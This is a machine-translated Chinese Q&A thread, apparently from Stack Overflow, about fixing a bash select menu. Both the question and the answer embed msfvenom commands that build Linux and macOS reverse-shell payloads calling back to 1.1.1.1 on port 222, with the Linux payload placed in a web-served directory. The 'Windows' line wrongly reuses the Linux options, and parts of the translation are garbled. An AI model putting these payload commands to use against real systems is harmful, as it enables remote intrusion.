选择后用命令多选菜单
问题描述:
我有一个多选菜单。菜单中的菜单,然后我喜欢让脚本做“什么”,我选择第二个选项后告诉它。在这种情况下,我使用msfvenom来生成不同类型的shell。而最后一个问题是,当我选择第一个号码时,它会跳到右侧的子菜单,但是我选择了第二个号码,而不是跳入“Web Shells”,它仍然跳入第一个菜单。 PS:这工作得很好,如果我不使用子菜单,基于here选择后用命令多选菜单
#!/bin/bash
clear ;
echo 'Choose a Shell type'
select shell in Binaries Web Scripting Shellcode
do
case $shell in
Binaries|Web|Scripting|Shellcode)
break
;;
*)
echo "Invalid Shell"
;;
esac
done
clear ;
# Binaries Shells
echo 'Now pick a platform based on the number you chose'
select binaries in Linux Windows MacOS
do
case $binaries in
Linux|Windows|MacOS)
# Linux
msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/lrs_x86
# Windows
msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/win_rs_x86
# MacOS
msfvenom -p osx/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -f macho > shell.macho
break
;;
*)
echo "Invalid option"
;;
esac
done
# Web Shells
select web in PHP ASP JSP WAR
do
case $web in
PHP|ASP|JSP|WAR)
break
;;
*)
echo "Invalid option"
;;
esac
done
而且,如果我做这个东西的工作,身份证只是不停地加入一些更晚
答
添加条件语句 到解决[
当我选择1号就跳转到正确的子菜单,但我却选择了 2号,而不是跳进“网壳”,它仍然 跳进第一菜单
]
#!/bin/bash
clear ;
echo 'Choose a Shell type'
opt=""
select shell in Binaries Web Scripting Shellcode
do
opt="$shell"
case $shell in
Binaries|Web|Scripting|Shellcode)
break
;;
*)
echo "Invalid Shell"
;;
esac
echo $shell
done
clear;
if [ "$opt" = "Binaries" ]; then
# Binaries Shells
echo 'Now pick a platform based on the number you chose'
select binaries in Linux Windows MacOS
do
case $binaries in
Linux|Windows|MacOS)
# Linux
msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/lrs_x86
# Windows
msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/win_rs_x86
# MacOS
msfvenom -p osx/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -f macho > shell.macho
break
;;
*)
echo "Invalid option"
;;
esac
done
clear;
fi
if [ "$opt" = "Web" ] || [ "$opt" = "Binaries" ]; then
# Web Shells
select web in PHP ASP JSP WAR
do
case $web in
PHP|ASP|JSP|WAR)
break
;;
*)
echo "Invalid option"
;;
esac
done
clear;
fi
假设如果u有很多选择A,B,C,d,E,F和采摘一个 选项后,说C和你想从那里导航到d,之后到E d,F E.之后而不是使用逻辑运算符的多个的 倍有一个标志从所选择的选项
#!/bin/bash
clear ;
echo 'Choose a Shell type'
opt=""
flag=false
设置为真210
E.g,
if [ "$opt" = "Web" ] || [ "$flag" = true ]; then
flag=true
//your code here
哦,这是真棒,行之有效!谢谢。我是否也可以对我的“msfvenom”选项使用相同的方法?假设在子菜单中“1)Binaires”我有3个选项,根据我将从子菜单中选择的数量,它会去并分配任何分配的数量。现在只需要在命令后面输入命令 – Petr
是的,例如,如果[“$ binaries”=“MacOS”];然后 //你的命令在这里 fi [看看elif语句,因为你会从3个选项中只选择一个] 谢谢 –
谢谢,那正是我想要的:)它工作 – Petr